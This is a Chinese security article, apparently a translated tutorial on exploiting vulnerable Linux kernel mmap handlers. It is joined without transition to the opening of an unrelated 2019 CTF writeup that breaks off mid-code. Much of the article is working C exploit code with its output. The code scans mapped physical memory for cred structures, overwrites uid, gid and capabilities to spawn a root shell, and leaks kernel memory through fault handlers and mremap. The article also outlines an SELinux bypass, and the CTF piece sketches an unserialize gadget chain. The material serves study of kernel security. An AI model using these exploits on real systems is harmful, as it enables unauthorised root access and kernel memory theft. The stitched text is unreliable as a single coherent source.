由于无符号整数的最大值是0xffffffff，因此最高有效位将被剥离，并且总和的最终值仅为0x0。结果是mmap系统调用会成功，大小为0xfffa000，进程将访问预期缓冲区之外的内存。
如前所述，有两个独立的系统调用mmap和mmap2。
mmap2系统调用允许使用32位`off_t`类型的应用程序通过支持用作偏移量参数的巨大值来映射大型文件（最多2 ^ 44个字节）。
有趣的是，mmap2系统调用通常在64位内核系统调用表中不可用。
但是，如果操作系统支持32位和64位进程，通常可以在32位进程内使用这些系统调用。 这是因为32位和64位进程使用单独的系统调用表。
### 3.3 带符号的整数类型
另一个常见问题是对大小变量使用带符号的类型。看下面的代码：
static int signed_integer_mmap(struct file *filp, struct vm_area_struct *vma)
{
int vma_size = vma->vm_end - vma->vm_start;
int offset = vma->vm_pgoff << PAGE_SHIFT;
printk(KERN_INFO "MWR: Device signed_integer_mmap( vma_size: %x, offset:
%x)\n", vma_size, offset);
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset
> 0x10000))
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
return -EAGAIN;
}
if (remap_pfn_range(vma, vma->vm_start, offset, vma->vm_end - vma->vm_start,
vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device signed_integer_mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device signed_integer_mmap OK\n");
return 0;
}
在上面的代码中，用户控制的数据存储在`vma_size`和`offset`中，它们都被声明为带符号整数。 然后通过以下代码行执行大小和偏移验证：
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset >
0x10000))
不幸的是，因为`vma_size`被声明为一个有符号的整数，攻击者可能会使用负值（如0xf0000000）绕过此验证。
这将导致0xf0000000字节映射到用户地址空间。
# 4.利用mmap处理程序
### 4.1理论
到目前为止，我们已经理解了如何实现一个mmap处理程序，在这里我们可以找到常见问题，以及可以用来访问任意内存位置（通常是内核内存）的方法。
现在的问题是，为了获得root权限，我们可以用这些知识做些什么？ 我们考虑两个基本情况：
1.当我们了解物理内存布局时（通常通过访问'/proc/iomem'）
2.黑盒案例 - 我们只有一个大型的，oversized mmap
当我们了解物理内存布局时，我们可以轻松地检查我们映射的内存区域，并且可以尝试将其与虚拟地址相匹配。 这使我们能够精确地覆盖cred、函数指针等。
更有趣但更复杂的情况是黑盒的情况。
但是，这将适用于多种内核和体系结构，一旦编写了漏洞利用代码，它可能对许多不同的驱动程序有用。要利用这种情况，我们需要在记忆中找到一些可以直接告诉我们是否找到有用的东西的模式。
当我们开始考虑可以搜索的内容时，我们很快意识到：“我们可以搜索一些明显的模式，至少有16个字节，因为这是我们应该能够在其中找到几乎任何东西的整个内存”。
如果看看证书结构`struct cred`，那么我们会发现很多有趣的数据：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative
to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
cred结构的目的是保持我们线程的凭据。
这意味着我们可以知道这个结构中的大部分值，因为我们可以简单地从`/proc/<pid>/status`中读取它们或使用系统调用来获取它们。
如果我们查看结构定义，那么我们观察到有八个连续的整数变量（uid，gid，suid，sgid等）。
这些后面跟着一个四字节的`securebits`变量，后面跟着四个或五个（实际的数字取决于内核版本）已知长长整型（cap_inheritable等）。
我们获得root权限的计划是：
1.获取我们的凭证
2.扫描内存以查找8个整数的模式，与我们的凭证相匹配，然后允许我们的功能使用4-5 long long values. uids/gids和功能之间应该有四个字节的空间
3.将uids/gids替换为值0
4.调用getuid（）并检查我们是否是root用户
5.如果是，请将值替换为值0xffffffffffffffff
6.如果没有，则恢复uids/gids的旧值，然后继续搜索; 从第2步开始重复
7.获取到root权限，打破循环。
在某些情况下，这个计划将不起作用，例如：
1.如果内核硬化且某些组件正在监视privesc（例如某些三星移动设备上的Knox）。
2.如果我们已经有一个0的uid。在这种情况下，我们可能会损害内核中的某些内容，因为内核在其内存中包含大量的0，并且我们的模式将无用。
3.如果启用了一些安全模块（SELinux，Smack等），我们可能会获得部分安全模块，但安全模块需要在后续步骤中绕过。
在安全模块的情况下，cred结构的`security`字段保存一个指向由内核使用的特定安全模块定义的结构的指针。
例如，对于SELinux，它将指向包含以下结构的内存区域：
struct task_security_struct {
u32 osid; /* SID prior to last execve */
u32 sid; /* current SID */
u32 exec_sid; /* exec SID */
u32 create_sid; /* fscreate SID */
u32 keycreate_sid; /* keycreate SID */
u32 sockcreate_sid; /* fscreate SID */
};
我们可以用一个我们有控制权的地址替`security`字段中的指针，并强制使用sid值。（如果给定的体系结构（如arm，aarch64）允许直接从内核访问用户空间映射，那么我们可以提供用户空间映射）
这个过程应该是相对较快的，因为像内核或init这样的大多数特权标签的值都应该在0到512之间。
要绕过SELinux，可以尝试以下步骤：
·准备一个新的SELinux策略，将我们当前的SELinux上下文设置为宽容
·伪造包含全零的伪安全结构
·尝试重新加载SELinux策略
·恢复旧的安全指针
·尝试执行之前由SELinux禁止的恶意操作
·如果它有效，我们已经绕过了SELinux
·如果不是，则在我们的伪安全结构中将sid值增加1，然后重试
### 4.2 基本的mmap处理程序利用
在本文的这一部分中，我们将尝试为以下代码开发完整的root exploit：
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma>vm_end
- vma->vm_start, vma->vm_pgoff);
if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma>vm_start,
vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
所提供的代码有两个漏洞：
1.'vma-> vm_pgoff'在没有验证的情况下被用作'remap_pfn_range'中的物理地址。
2.映射的大小将被传递给'remap_pfn_range'， 没有经过验证。
在我们的漏洞利用开发的第一步中，让我们创建一些代码来触发漏洞并使用它来创建一个巨大的内存映射：
int main(int argc, char * const * argv)
{
printf("[+] PID: %d\n", getpid());
int fd = open("/dev/MWR_DEVICE", O_RDWR);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ
| PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
int stop = getchar();
return 0;
}
上面的代码将打开易受攻击的驱动程序，并调用带有0xf0000000字节的mmap作为大小和等于0的偏移量。下面可以看到我们有日志显示对mmap的调用已成功：
$ ./mwr_client
[+] PID: 3855
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
并确认我们可以在内存映射中观察到：
# cat /proc/3855/maps
42424000-132424000 rw-s 00000000 00:06 30941 /dev/MWR_DEVICE
另外，在dmesg中，可以看到mmap成功了：
[18877.692697] MWR: Device has been opened 2 time(s)
[18877.692710] MWR: Device mmap
[18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)
[18877.696716] MWR: Device mmap OK
如果检查物理地址空间，那么我们可以看到，通过这个映射，可以访问下面标记高亮的所有内容。
这是因为我们传递了0作为物理地址位置，大小为0xf0000000字节：
# cat /proc/iomem
'00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0'
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM
我们可以选择放大映射的大小，以便覆盖整个物理内存地址空间。 但是，我们不会这样做，这样就可以展示我们无法访问整个系统RAM时可能面临的一些限制。
下一步是在内存中实现对`cred`结构的搜索。 我们将按照第4.1节理论中的解释来做到这一点。
我们将稍微修改该过程，因为我们只需要搜索具有uid值的八个整数。
一个简单的实现如下所示：
int main(int argc, char * const * argv)
{
...
printf("[+] mmap OK addr: %lx\n", addr);
unsigned int uid = getuid();
printf("[+] UID: %d\n", uid);
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40))
{
credIt = 0;
if (
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
)
{
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
credNum);
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);
int stop = getchar();
return 0;
}
在漏洞输出中，可以看到我们已经发现了一些潜在的`cred`结构：
$ ./mwr_client
[+] PID: 5241
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a86e184, credNum: 1
[+] Found cred structure! ptr: 0x11a86e244, credNum: 2
…
[+] Found cred structure! ptr: 0x11b7823c4, credNum: 7
[+] Found cred structure! ptr: 0x11b782604, credNum: 8
[+] Found cred structure! ptr: 0x11b7c1244, credNum: 9
下一步是找出哪些`cred`结构属于我们的进程并升级它的uid/gid：
int main(int argc, char * const * argv)
{
...
printf("[+] mmap OK addr: %lx\n", addr);
unsigned int uid = getuid();
printf("[+] UID: %d\n", uid);
;
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40))
{
credIt = 0;
if (
...
)
{
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
credNum);
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
if (getuid() == 0)
{
puts("[+] GOT ROOT!");
break;
}
else
{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);
int stop = getchar();
return 0;
}
在我们触发漏洞之后，可以看到以下内容:
i$ ./mwr_client
[+] PID: 5286
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a973f04, credNum: 1
…
[+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7
[+] GOT ROOT!
[+] Scanning loop END
我们可以看到输出中出现了“GOT ROOT”字符串，所以让我们来检查一下我们的exp是否真的起作用：
cat /proc/5286/status
Name: mwr_client
Umask: 0022
State: S (sleeping)
Tgid: 5286
Ngid: 0
Pid: 5286
PPid: 2939
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 256
Groups: 1000
…
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
…
可以看到，UID和GID已经从1000变为0，这表明我们的漏洞能够发挥作用，并且成功获得了完整的root权限。
但是如果我们多次运行这个漏洞，会发现它每次都没有得到root权限。 获得root权限的成功率大约是五次漏洞利用中的四次，或者大约80％。
之前提到我们只映射了部分物理内存。 漏洞利用失败的原因是我们没有扫描整个内核内存：
# cat /proc/iomem
00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
'100000000-11fffffff' : System RAM
如果再看一下物理内存布局，可以看到其中一个系统RAM区域超出了我们的映射范围，所以无法扫描这个区域。通常这种情况是因为我们会受到mmap处理程序中的一些输入验证的限制
例如，我们能够映射1GB内存，但是可能无法控制物理地址。 这可以通过使用`cred`结构喷射轻松解决。
我们通过创建100-1000个子进程来完成这个任务，每个进程将检查它们的权限是否已经改变。 一旦子进程获得root权限，它将通知父进程并破坏这个扫描循环。
剩下的privesc步骤将为这个单独的子进程完成。
我们将省略cred喷射修改代码，以使漏洞代码更加清晰，相反，这将作为读者的练习。强烈建议您实施cred喷射实践，并看看它是多么简单和有效。
现在，让我们回到完成我们的漏洞利用代码：
int main(int argc, char * const * argv)
{
...
if (getuid() == 0)
{
puts("[+] GOT ROOT!");
credIt += 1; //Skip 4 bytes, to get capabilities
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
execl("/bin/sh", "-", (char *)NULL);
puts("[-] Execl failed...");
break;
}
else
...
}
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);
int stop = getchar();
return 0;
}
上面的代码将覆盖五组功能，然后启动一个交互式shell。 以下可以看到我们的利用结果：
$ ./mwr_client
[+] PID: 5734
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a9840c4, credNum: 1
[+] Found cred structure! ptr: 0x11a984904, credNum: 2
[+] Found cred structure! ptr: 0x11b782f04, credNum: 3
[+] Found cred structure! ptr: 0x11b78d844, credNum: 4
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)
# cat /proc/self/status
Name: cat
Umask: 0022
State: R (running)
Tgid: 5738
Ngid: 0
Pid: 5738
PPid: 5734
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 64
Groups: 1000
…
CapInh: ffffffffffffffff
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
CapAmb: ffffffffffffffff
Seccomp: 0
…
### 4.3 通过fault处理程序对mmap进行利用
在这个例子中，我们将利用mmap错误处理程序。 由于我们已经知道如何从易受攻击的mmap处理程序获取root权限，接下来将重点关注信息泄露问题。
这次驱动程序将对我们设置为read only权限：
$ ls -la /dev/MWR_DEVICE
crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE
并将使用以下代码：
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_vma_ops_mmap,
.release = dev_release,
};
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
filep->private_data = kzalloc(size, GFP_KERNEL);
...
return 0;
}
static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = NULL;
unsigned long offset;
printk(KERN_NOTICE "MWR: simple_vma_fault\n");
printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx,
PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf>pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT);
offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma>vm_pgoff
<< PAGE_SHIFT));
if (offset > PAGE_SIZE << 4)
goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
nopage_out:
return 0;
}
具有只读驱动程序文件意味着我们将无法将内存映射为可写，并且只能读取映射的内存。
我们从分析驱动程序代码开始，可以看到驱动程序的`open`操作，名为`dev_open`的函数将简单地分配一个0x1000字节的缓冲区。
在`simple_vma_ops_mmap`mmap处理程序中，可以看到没有验证，并且将虚拟内存操作结构分配给请求的内存区域。
在这个结构中，我们找到了`simple_vma_fault`fault处理程序的实现。
`simple_vma_fault`函数首先计算触发故障的内存页的偏移量。 接下来，它通过添加先前分配的（`vma>
vm_private_data`）缓冲区和`offset`变量来检索页面。 最后，检索到的页面被分配到`vmf>page`字段。
这将导致该页面被映射到发生故障的虚拟地址。
但是，在返回页面之前，将执行以下验证：
if (offset > PAGE_SIZE << 4)
goto nopage_out;
上面的验证检查是否在大于0x10000的地址发生故障，如果为true，则将禁止访问该页面。
如果我们检查驱动程序缓冲区的大小，可以看到这个值小于0x10000，因为在驱动程序中声明的缓冲区的大小是0x1000字节：
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
filep->private_data = kzalloc(size, GFP_KERNEL);
...
return 0;
}
这允许恶意进程请求位于驱动程序缓冲区之后的0x9000字节，从而导致内核内存被泄露。
让我们使用下面的代码来利用驱动程序：
void hexDump(char *desc, void *addr, int len);
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDONLY);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);
unsigned long size = 0x10000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ,
MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
hexDump(NULL, addr, 0x8000); // Dump mapped buffer
int stop = getchar();
return 0;
}
代码看起来与驱动程序的标准用法类似。首先打开设备，mmap
0x10000字节，然后转储映射的内存（`hexDump`函数打印传递给stdout的缓冲区的十六进制表示）。
现在来看看漏洞的输出：
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v.....
2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v.....
2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v.....
2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v.............
2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%.......
2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r.............
在输出中可以看到在偏移量0x2000处有一些数据。 驱动程序的缓冲区在偏移量0x1000处结束，因此读取超出此缓冲区意味着我们能够成功泄漏内核内存。
此外，可以在dmesg输出中看到我们已经访问了多页的内存
[ 681.740347] MWR: Device has been opened 1 time(s)
[ 681.740438] MWR: Device simple_vma_ops_mmap
[ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0
[ 681.740440] MWR: Device mmap OK
[ 681.740453] MWR: simple_vma_fault
[ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c
[ 681.741695] MWR: simple_vma_fault
[ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c
[ 681.760845] MWR: simple_vma_fault
[ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c
[ 681.765431] MWR: simple_vma_fault
[ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c
[ 681.775586] MWR: simple_vma_fault
[ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c
[ 681.776835] MWR: simple_vma_fault
[ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c
[ 681.777991] MWR: simple_vma_fault
[ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c
[ 681.779318] MWR: simple_vma_fault
[ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c
### 4.4 通过fault处理程序对mmap进行利用-版本二
假设开发人员在前面的`simple_vma_ops_mmap`函数代码中引入了一个修补程序。
正如下面所看到的，新代码通过检查它小于0x1000来验证映射的大小。 从理论上讲，这会阻止我们以前的攻击。
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned long size = vma->vm_end - vma->vm_start;
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
if (size > 0x1000)
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
但是，尽管无法使用mmap创建大型映射，但该代码仍然可被利用。 我们可以将映射过程分成两步：
1. 调用大小为0x1000字节的mmap
2. 调用大小为0x10000字节的mremap
这意味着，我们创建一个0x1000字节的小映射，它将通过验证，然后使用`mremap`来扩大它的大小。 最后，我们可以像以前那样转储内存：
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDONLY);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);
unsigned long size = 0x1000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ,
MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
addr = (unsigned int *)mremap(addr, size, 0x10000, 0);
if (addr == MAP_FAILED)
{
perror("Failed to mremap: ");
close(fd);
return -1;
}
printf("[+] mremap OK addr: %lx\n", addr);
hexDump(NULL, addr, 0x8000);
int stop = getchar();
return 0;
}
这个漏洞为我们提供了以下输出。 同样，可以看到我们能够转储原本无法读取的内存内容：
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] mremap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M.....
4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M.....
4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N.....
4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N.............
4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N.....
...
# 5\. 技巧和窍门
### 5.1 为赢而Fuzzing!
通常，在分析mmap处理程序时，会发现很多位掩码，位移和算术。这些操作可以很容易地错过某些可能允许攻击者绕过输入验证并获得对某些内存区域的无意访问的“magic”值。
有两个值需要fuzz：偏移量和映射的大小。 只有fuzz这两个值可以使我们能相对较快地fuzz驱动，允许我们尝试各种各样的值，以确保彻底测试潜在的边缘案例。
### 5.2 不同函数的同一个问题
在本文中，我们描述了`remap_pfn_range`函数及其fault处理程序用于创建内存映射的用法。
但是，这不是唯一可以利用这种方式的函数，并且还有许多其他函数可以被滥用以修改任意区域的内存。您无法通过专注于单一函数来保证驱动程序的安全。
其他具有类似功能的潜在的有趣函数包括：
vm_insert_page
vm_insert_pfn
vm_insert_pfn_prot
vm_iomap_memory
io_remap_pfn_range
remap_vmalloc_range_partial
remap_vmalloc_range
完整的函数列表在两个不同的内核版本中可能有所不同
### 5.3 在哪里能找到此类型的漏洞？
在这篇文章中，我们描述了一个设备驱动程序实现mmap处理程序的漏洞。 但是，几乎所有子系统都可以实现一个自定义的mmap处理程序。
您应该期望proc，sysfs，debugfs，自定义文件系统，套接字以及任何提供文件描述符的源文件都可以实现易受攻击的mmap处理程序。
而且，`remap_pfn_range`可以从任何系统调用处理程序调用，而不仅仅是mmap。 你一定会期望在ioctl的处理程序中也能找到这个功能。 | 社区文章 |
# 2019强网杯线上赛writeup
\--- by Lilac
[TOC]
# 题目
## Misc
### 鲲or鳗orGame
网页上的gameboy游戏模拟器
js里面的注释
//var romPath = "laoyanqiang.gb";
打开是张图片
拿gb模拟器打开rom/game.gb
内存c0a2处是Best Score 16位 改成ffff
结算界面变成了flag
### 强网先锋-打野
图片隐写
:/mnt/d$ zsteg test.bmp --all --limit 2048
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /home/pwn/.cargo/bin in PATH, mode 040777
extradata:0 .. ["\x00" repeated 2 times]
imagedata .. text: ["\r" repeated 18 times]
b1,lsb,bY .. <wbStego size=120, ext="\x00\x8E\xEE", data="\x1Ef\xDE\x9E\xF6\xAE\xFA\xCE\x86\x9E"..., even=false>
b1,msb,bY .. text: "qwxf{you_say_chick_beautiful?}"
b2,lsb,bY .. text: "+UXr\"$!v"
b2,msb,bY .. text: "i2,C8&k0."
b3,lsb,bY .. text: "3`p:gyO1S"
b4,lsb,bY .. text: "\nme&Re'c"
b8,lsb,bY .. text: ["\r" repeated 18 times]
b1,lsb,bY,prime .. text: "riI?/1>^J"
b1,msb,bY,prime .. text: "UmlpFSkMwv"
b2,lsb,bY,prime .. text: "L#WEtj\"=}"
b2,msb,bY,prime .. text: "UjVe\"\n8;j"
b3,lsb,bY,prime .. text: "QE 9)\"IE\""
b3,msb,bY,prime .. text: "~~\"6QBK-\""
b4,lsb,bY,prime .. text: "RBRC44T#4$4D52C2"
b4,msb,bY,prime .. text: "(,\",,,,,"
b5,msb,bY,prime .. text: "ram9u!J1"
b6,lsb,bY,prime .. file: GeoSwath RDF
b2,r,lsb,xY .. text: "UUUUUU9VUUUUUUUUUUUUUUUUUUUUUU"
b2,g,lsb,xY .. text: "NUUUUUUUU^"
## Web
### upload
本题抄了一个模板：<https://w3layouts.com/innovative-login-form-flat-responsive-widget-template/>
注册登陆，发现文件上传，测试仅可上传图片，且只检测文件头。
随便找张图，在末尾添加shellcode，上传。
**扫描得到`//www.tar.gz`，解压得到源代码。**
审计`tp5\application\web\controller`下源码。
//Index.php
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
存在反序列化。
寻找可利用的类。`Register`中存在`__destruct()`方法，调用`this->checker->index()`。
`Profile`类中存在`__call()`方法
//Profile.php
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
